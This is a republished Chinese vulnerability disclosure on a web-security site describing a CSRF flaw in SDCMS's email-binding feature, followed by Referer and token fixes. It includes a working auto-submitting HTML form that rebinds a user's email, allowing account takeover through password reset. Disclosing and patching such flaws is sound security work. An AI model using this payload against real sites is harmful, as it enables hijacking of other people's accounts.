SDCMS某功能限制不严导致可CSRF劫持账户

SDCMS某功能限制不严导致可CSRF劫持账户 - 网站安

来源：自学PHP网时间：2015-04-17 10:15 作者：阅读:次

[导读] SDCMS邮件绑定csrf可劫持账户1、在SDCMS的邮件绑定处，未作任何防御，导致csrfpoc：htmlbodyform id=xfkxfk name=xfkxfk action=http://localhost/sdcms/user/email.asp?act=checkdb method=POS......

SDCMS邮件绑定csrf可劫持账户

1、在SDCMS的邮件绑定处，未作任何防御，导致csrf

poc：

<html>
<body>
<form id="xfkxfk" name="xfkxfk" action="http://localhost/sdcms/user/email.asp?act=checkdb" method="POST">
<input type="text" name="email" value="88888888@qq.com" />
<input type="submit" value="submit">
</form>
<script>
   document.xfkxfk.submit();
</script>
</body>
</html>

2、我们在本地打开poc：

3、然后看看邮箱，成功修改：

4、由于通过csrf可以绑定任意用户任意邮箱，所以可以通过找回密码，发送密码到我们绑定的邮箱中，从而劫持会员账户。

修复方案：

1、判断请求的referer

2、在url中加上token

ShopEx某处平衡权限及修复 - 网站安全 - 自学php

PhpVibe 3.1多重缺陷及修复 - 网站安全 - 自学php

子栏目

SDCMS某功能限制不严导致可CSRF劫持账户 - 网站安

最新评论

添加评论

更多文章推荐

添加评论